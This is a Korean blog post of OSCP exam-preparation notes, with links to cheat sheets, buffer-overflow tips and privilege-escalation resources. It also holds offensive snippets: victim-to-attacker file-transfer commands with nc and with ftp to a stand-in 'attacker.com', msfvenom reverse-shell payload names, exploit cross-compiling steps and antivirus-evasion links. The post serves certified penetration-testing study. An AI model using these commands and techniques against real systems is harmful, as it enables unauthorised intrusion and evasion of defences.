OSCP/시험대비

[TIP] OSCP 시험 정리

우와해커 2020. 7. 6. 16:11
  1. Get yourself comfortable with windows, I know most of us know exactly how to enumerate a Linux system but do you know windows?
  2. Check all the ways you can get a higher privilege other than just spamming kernel exploits (I didn't use a single kernel exploit in MY exam)
  3. Enumeration is the key
  4. if you have 2 vulnerabilities maybe you need to chain them???? Think out of the box.
  5. If you're trying the same thing over and over again, you're in a rabbit hole, GET OUT.

서비스에 대한 정보 검색 사이트

This time, I wrote each port on a piece of paper, along with the listening service and its version.
I then searched ExploitDB/Google/Github/ippsec.rocks for each port and took notes
ippsec.rocks

 

시험 보고서 템플릿

github.com/whoisflynn/OSCP-Exam-Report-Template

 

최고 치트시트+팁+자료

https://www.netsecfocus.com/oscp/2019/03/29/The_Journey_to_Try_Harder-_TJNulls_Preparation_Guide_for_PWK_OSCP.html

https://herrfeder.github.io/pentesting/2018/09/30/OSCP-Cheat-Sheet.html

https://www.gitbook.com/book/sushant747/total-oscp-guide

ired.team/offensive-security-experiments/offensive-security-cheetsheets

https://guide.offsecnewbie.com/kali-configuration/tmux-config

 

내가 정리한 치트시트

myreversing.tistory.com/201

myreversing.tistory.com/175

 

BOF 할때, 주의점

badchars => 잘, 모르겠으면 쉘코드 생성시 일반적인 것들 다 빼버리자. \x0a\0d\00 등...

Immunity debugger, EDB: 다시 실행하려면 디버거내 X버튼, Debug kill 클릭 후 컨트롤+F2

프로그램 자체를 꺼버리면 재실행시 기존 프로세스가 남은채로 새로운 프로세스가 생성됨.

 

무난한 파일 전송 (칼리->Windows)

- smbserver, nc, python

1. SMBserver.py (impacket)
2. wget.VBS : https://gist.github.com/sckalath/ec7af6a1786e3de6c309
3. python3 -m http.server
4. powershell
5. nc, ncat
6. ssh, telnet, ftp

 

파일전송 (레거시 시스템 대비)

리눅스 
wget <URL> -P <local path>

scp <source file> <username>@192.168.xx.xx:/home/<username>/

ssh HOST cat < LOCALFILE “>” REMOTEFILE
...

윈도우
TIP: In a gained shell, file transfer commands must be non-interactive

curl http://IP_ADDR/file

fetch http://IP_ADDR/file

ftp -s:input.txt

tftp -i get file /path/on/victim

nc IP_ADDR PORT > OUTFILE (run nc -lvp PORT < infile on attacking machine)

VBSCRIPT: OSCP책 참고

DEBUG.EXE
1. upx -9 <exe file>
2. wine <exe file>
3. wine exe2bat.exe <exe file> <txt file>
4. Text file will be generated, simply copy and paste the text file contents to the shell.


FTP를 이용한 파일 업로드 & 다운로드
RHOST=attacker.com
ftp $RHOST
업로드:  put file_to_send 
다운로드: get file_to_get

 

msfvenom 쉘코드 생성 페이로드

1. windows/shell_reverse_tcp
2. windows/x86/shell_reverse_tcp
3. windows/x64/shell_reverse_tcp

4. windows/meterpreter_reverse_tcp
5. windows/x64/meterpreter_reverse_tcp

 

시험보기전 Tool 설치, 테스트 및 점검 (특히 nc (-e옵션) )

 

*tmux는 마우스로 카피가 안되니 시험때, 주의하자.

  • hash값 카피가 필요하기 때문에 리버스 쉘 접근시는 일반 터미널로 진행해야함
  • powershell에서 winPEAS 사용시 bash보다는 exe파일을 사용하자.
  • 리눅스에서 searchsploit을 사용해 C파일 받으면 dos2unix로 치환하자.
  • 커널 익스플로잇은 가급적면 precompiled 버전을 찾아보자.(시간 save)
  • 윈도우에 파이썬 poc를 실행해야하는데 파이썬이 없으면 pyinsatller을 사용하여 exe코드로 만들어야한다.
    (가능하면 precompiled 찾아보자...)

 

Windows 방화벽 상태 체크

- 방화벽이 On되어 있으면 조금 복잡해질 수 있다, 바이너리를 일반 파일에 임베디드나 암호화해서 전송해야함.

- 실행파일이 정상 작동하지 않는다면 방화벽 상태를 체크해보자.

# Firewall
netsh firewall show state
netsh firewall show config

 

파워 쉘 Anti Vrius bypass

- 혹시 모르니까 준비.

https://hakin9.org/xencrypt-a-powershell-script-anti-virus-evasion-tool/
https://www.optiv.com/explore-optiv-insights/blog/bypassing-antivirus-powershell
https://medium.com/@benoit.sevens/powershell-av-evasion-4e4bb6a6a961

 

 

권한 상승

- 커널버전에 따른 올바른 Exploit을 찾아내기가 관건이다.
우선 다양한 Exploit 사이트+구글링을 이용하여 가장 확실한 것을 찾아봐야 한다.

 

Exploit 구글링

site:exploit-db.com kernel version
python linprivchecker.py

 

 

1. Kernel 권한상승(가급적 최후의 수단)
1.1 precompiled(searchsploit 소스 주석 링크 확인)

Precompiled Exploit 바이너리 찾기
Step1) https://www.exploit-db.com/exploits/"Exploit-db-Number"/
Step2) https://github.com/offensive-security/exploit-database-bin-sploits/find/master/" Exploit-db-Number"
Step3) https://github.com/abatchy17/WindowsExploits/

1.2 직접 compiled

- VM 미리 준비
1.2.1. 윈도우7 x86, x64 (pyinstall, python2, 3, pip2,3 설치)
1.2.2. kali i686, amd64 (wine, gcc, mingw 설치)

apt-get install mingw-w64

For 64bit
i686-w64-mingw32-gcc exploit.c -o exploit
x86_64-w64-mingw32-gcc exploit.c -o exploit

For 32bit
i686-w64-mingw32-gcc 40564.c -o 40564 -lws2_32
x86_64-w64-mingw32-gcc windows_service.c 40564.c -o 40564 -lws2_32

 

2. Misconfiguration으로 인한 권한상승

아키텍쳐 잘 파악하여 Enumeration 도구 잘 사용하기
winPEAS 사용시 bash보다는 아키텍쳐에 맞는 exe파일을 사용하자.

 

- THM walkthorugh 

Basic Linux Privilege Escalation: https://tryhackme.com/room/linuxprivesc

Windows Privilege Escalation Methods for Pentester: https://tryhackme.com/room/windows10privesc

 

- 리눅스,윈도우 권한상승 방법론 치트시트

sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html

sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html

blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

pentest.blog/windows-privilege-escalation-methods-for-pentesters/